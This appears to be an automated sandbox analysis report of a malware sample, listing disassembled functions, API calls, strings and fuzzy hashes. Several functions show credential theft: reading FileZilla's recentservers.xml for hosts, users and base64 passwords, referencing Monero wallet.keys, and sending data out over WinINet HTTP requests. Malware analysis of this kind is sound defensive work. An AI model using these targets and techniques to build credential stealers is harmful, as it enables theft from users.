Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -Ulm
API String ID: 0-3810557418
Opcode ID: 7240b3e1e0246d01175147ee5b3f2e490de2b4ea0cd7f4e72b9e03a952d092fd
Instruction ID: 114840205528825a319ea1cb23b2fb6cb2e6ae110044fc360c1fba77dfeb77dd
Opcode Fuzzy Hash: 7240b3e1e0246d01175147ee5b3f2e490de2b4ea0cd7f4e72b9e03a952d092fd
Instruction Fuzzy Hash: D94158F3F583045BE3449D7DEC8972A76CAD7D0214F2E8639D685C7788FC79A40A8282

Function 0114CEE5 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4851ff66d7c0ee1e572c659a01ceeab29d5f36c877281b63188589e37cf0f08c
Instruction ID: 2c9cc0b29d6aa9b04540a4c6d0db45302378d6805c1bc53f110e55dbf2776fc7
Opcode Fuzzy Hash: 4851ff66d7c0ee1e572c659a01ceeab29d5f36c877281b63188589e37cf0f08c
Instruction Fuzzy Hash: FC715CF3A086145BE3087A2DDC9577ABAD6DBD4320F1B463DDB85C3744F97949058282

Function 0113DBD4 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fca6440b47104166095e9733bc4d51a9c57d8b44f70ced461bc495e8f7ffe6d
Instruction ID: 2aa2235a7d03c3e011152cc06a94420e7e9bbbc4a4fa4b61f160a26c3eb348ec
Opcode Fuzzy Hash: 2fca6440b47104166095e9733bc4d51a9c57d8b44f70ced461bc495e8f7ffe6d
Instruction Fuzzy Hash: 3F8127F39483049BE3086E39EC8477AB7D9EB90320F17493DEAC493780E93959458696

Function 0126E098 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79d4962ef1266c347e8bc39fab766384912f5a74e27abd038ae04fc847b326e3
Instruction ID: ae35d0eb4563fd6be1185147403e24f42403528c7c3cfb8e8880db26c4ba74c7
Opcode Fuzzy Hash: 79d4962ef1266c347e8bc39fab766384912f5a74e27abd038ae04fc847b326e3
Instruction Fuzzy Hash: 525105F251C204EFD314AF18EC85ABAB7E9EF98720F06483DE6C487640E6710850CB87

Function 011A251D Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81ab1af8da8a324af299b53e21fba94ce897054b7f3a03c42ab94744c5711b45
Instruction ID: e3b6aa2813ade4448c98e6309270bbebdf02d4df3b9cebede02b7056c7ac2eea
Opcode Fuzzy Hash: 81ab1af8da8a324af299b53e21fba94ce897054b7f3a03c42ab94744c5711b45
Instruction Fuzzy Hash: EC5157F3E182105BE704692DDCC576AB7D9EBA4320F2B463CEF9893784E9359C0582D6

Function 010B0DE9 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb55e2127c316115da2c713516164166e3716b99f73461ebf252e3c5aec2b060
Instruction ID: 3669e08884fcf68c4cfb6a3b788540976bce9ec0cd91048ff4b2d0f6c27326ad
Opcode Fuzzy Hash: eb55e2127c316115da2c713516164166e3716b99f73461ebf252e3c5aec2b060
Instruction Fuzzy Hash: 42413AB36087044FF718AE3CEC8577BB7D5EB94320F45863DDA8087B84F93A59458286

Function 00E29750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00E20250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E28DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E28E0B

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E2A7E6

Part of subcall function 00E199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E199EC
Part of subcall function 00E199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E19A11
Part of subcall function 00E199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E19A31
Part of subcall function 00E199C0: ReadFile.KERNEL32(000000FF,?,00000000,00E1148F,00000000), ref: 00E19A5A
Part of subcall function 00E199C0: LocalFree.KERNEL32(00E1148F), ref: 00E19A90
Part of subcall function 00E199C0: CloseHandle.KERNEL32(000000FF), ref: 00E19A9A

Part of subcall function 00E28E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E28E52

GetProcessHeap.KERNEL32(00000000,000F423F,00E30DBA,00E30DB7,00E30DB6,00E30DB3), ref: 00E20362
RtlAllocateHeap.NTDLL(00000000), ref: 00E20369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00E20385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB2), ref: 00E20393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00E203CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB2), ref: 00E203DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00E20419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB2), ref: 00E20427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00E20463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB2), ref: 00E20475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB2), ref: 00E20502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB2), ref: 00E2051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB2), ref: 00E20532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB2), ref: 00E2054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00E20562
lstrcat.KERNEL32(?,profile: null), ref: 00E20571
lstrcat.KERNEL32(?,url: ), ref: 00E20580
lstrcat.KERNEL32(?,00000000), ref: 00E20593
lstrcat.KERNEL32(?,00E31678), ref: 00E205A2
lstrcat.KERNEL32(?,00000000), ref: 00E205B5
lstrcat.KERNEL32(?,00E3167C), ref: 00E205C4
lstrcat.KERNEL32(?,login: ), ref: 00E205D3
lstrcat.KERNEL32(?,00000000), ref: 00E205E6
lstrcat.KERNEL32(?,00E31688), ref: 00E205F5
lstrcat.KERNEL32(?,password: ), ref: 00E20604
lstrcat.KERNEL32(?,00000000), ref: 00E20617
lstrcat.KERNEL32(?,00E31698), ref: 00E20626
lstrcat.KERNEL32(?,00E3169C), ref: 00E20635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E30DB2), ref: 00E2068E

Strings

profile: null, xrefs: 00E20568
<Host>, xrefs: 00E2037C
<Pass encoding="base64">, xrefs: 00E2045A
browser: FileZilla, xrefs: 00E20559
login: , xrefs: 00E205CA
password: , xrefs: 00E205FB
<Port>, xrefs: 00E203C6
<User>, xrefs: 00E20410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00E202A4
url: , xrefs: 00E20577

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 105d82da05ae2ec2b5991064d2e138ca85b669fa6ba72431d98fd43d3d2f8454
Instruction ID: 668d35909f2fb92efaaae6b2c9a26bf1d80a0c947dd018a4520bf64b7d201abb
Opcode Fuzzy Hash: 105d82da05ae2ec2b5991064d2e138ca85b669fa6ba72431d98fd43d3d2f8454
Instruction Fuzzy Hash: 18D11172900218ABCB18EBF4ED9ADEE77B8FF54300F545528F502B7085DE75AA05CB61

Function 00E15960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E2A7E6

Part of subcall function 00E147B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E14839
Part of subcall function 00E147B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E14849

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00E159F8
StrCmpCA.SHLWAPI(?,008FE5C0), ref: 00E15A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E15B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,008FE5D0,00000000,?,008F9FF8,00000000,?,00E31A1C), ref: 00E15E71
lstrlen.KERNEL32(00000000), ref: 00E15E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00E15E93
RtlAllocateHeap.NTDLL(00000000), ref: 00E15E9A
lstrlen.KERNEL32(00000000), ref: 00E15EAF
lstrlen.KERNEL32(00000000), ref: 00E15ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00E15EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00E15F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00E15F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00E15F4C
InternetCloseHandle.WININET(00000000), ref: 00E15FB0
InternetCloseHandle.WININET(00000000), ref: 00E15FBD
HttpOpenRequestA.WININET(00000000,008FE550,?,008FDC58,00000000,00000000,00400100,00000000), ref: 00E15BF8

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

InternetCloseHandle.WININET(00000000), ref: 00E15FC7

Strings

", xrefs: 00E15CD5
------, xrefs: 00E15D4C
", xrefs: 00E15E16
------, xrefs: 00E15A96
------, xrefs: 00E15C0B

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 7d35bbfc326bdc5d61d19b5e95c9fed2c922752871bcdabf0c286eb6c95b18ef
Instruction ID: c3f0bc5f589902016cde808b7b2fccacba6a8743b4be554eee3637f7fdd194f3
Opcode Fuzzy Hash: 7d35bbfc326bdc5d61d19b5e95c9fed2c922752871bcdabf0c286eb6c95b18ef
Instruction Fuzzy Hash: 79120172920128ABDB19EBA0EC99FEE73B8BF54700F5451A9F10673091DF702A49CF65

Function 00E1CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E2A740: lstrcpy.KERNEL32(00E30E17,00000000), ref: 00E2A788

Part of subcall function 00E2A9B0: lstrlen.KERNEL32(?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E2A9C5
Part of subcall function 00E2A9B0: lstrcpy.KERNEL32(00000000), ref: 00E2AA04
Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

Part of subcall function 00E28B60: GetSystemTime.KERNEL32(00E30E1A,008FA028,00E305AE,?,?,00E113F9,?,0000001A,00E30E1A,00000000,?,008F8B80,?,\Monero\wallet.keys,00E30E17), ref: 00E28B86

Part of subcall function 00E2A920: lstrcpy.KERNEL32(00000000,?), ref: 00E2A972
Part of subcall function 00E2A920: lstrcat.KERNEL32(00000000), ref: 00E2A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E1CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00E1D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00E1D0CE
lstrcat.KERNEL32(?,00000000), ref: 00E1D208
lstrcat.KERNEL32(?,00E31478), ref: 00E1D217
lstrcat.KERNEL32(?,00000000), ref: 00E1D22A
lstrcat.KERNEL32(?,00E3147C), ref: 00E1D239
lstrcat.KERNEL32(?,00000000), ref: 00E1D24C
lstrcat.KERNEL32(?,00E31480), ref: 00E1D25B
lstrcat.KERNEL32(?,00000000), ref: 00E1D26E
lstrcat.KERNEL32(?,00E31484), ref: 00E1D27D
lstrcat.KERNEL32(?,00000000), ref: 00E1D290
lstrcat.KERNEL32(?,00E31488), ref: 00E1D29F
lstrcat.KERNEL32(?,00000000), ref: 00E1D2B2
lstrcat.KERNEL32(?,00E3148C), ref: 00E1D2C1
lstrcat.KERNEL32(?,00000000), ref: 00E1D2D4
lstrcat.KERNEL32(?,00E31490), ref: 00E1D2E3

Part of subcall function 00E2A820: lstrlen.KERNEL32(00E14F05,?,?,00E14F05,00E30DDE), ref: 00E2A82B
Part of subcall function 00E2A820: lstrcpy.KERNEL32(00E30DDE,00000000), ref: 00E2A885

lstrlen.KERNEL32(?), ref: 00E1D32A
lstrlen.KERNEL32(?), ref: 00E1D339

Part of subcall function 00E2AA70: StrCmpCA.SHLWAPI(008F8980,00E1A7A7,?,00E1A7A7,008F8980), ref: 00E2AA8F

DeleteFileA.KERNEL32(00000000), ref: 00E1D3B4

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
